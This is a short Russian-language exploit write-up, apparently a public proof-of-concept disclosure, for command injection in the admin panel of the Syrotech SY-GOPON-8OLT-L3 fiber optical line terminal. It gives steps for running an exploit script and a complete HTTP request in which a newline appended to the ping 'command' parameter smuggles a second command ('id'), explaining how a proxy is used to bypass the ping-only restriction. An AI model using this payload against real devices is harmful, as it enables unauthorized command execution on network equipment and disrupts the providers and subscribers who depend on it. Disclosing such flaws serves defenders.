
Эксплойт Proof-of-concept для уязвимости инъекции команд в Syrotech SY-GOPON-8OLT-L3, позволяющий произвольное выполнение команд через манипуляцию HTTP-запросами.
Syrotech SY-GOPON-8OLT-L3 v1.6.0_240629 — уязвимость внедрения команд
1- Отредактируйте URL в скрипте.
2- Отредактируйте значение Cookie_Login в скрипте.
3- Запустите скрипт, он позволит вам выполнять команды.
GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1
Обычно в панели администрирования разрешено выполнять только команду ping.
Если перехватить запрос через прокси, добавить байт перевода строки в конец параметра command и ввести команду, которую нужно выполнить, это позволит выполнить ещё одну команду.
Mehmet Demir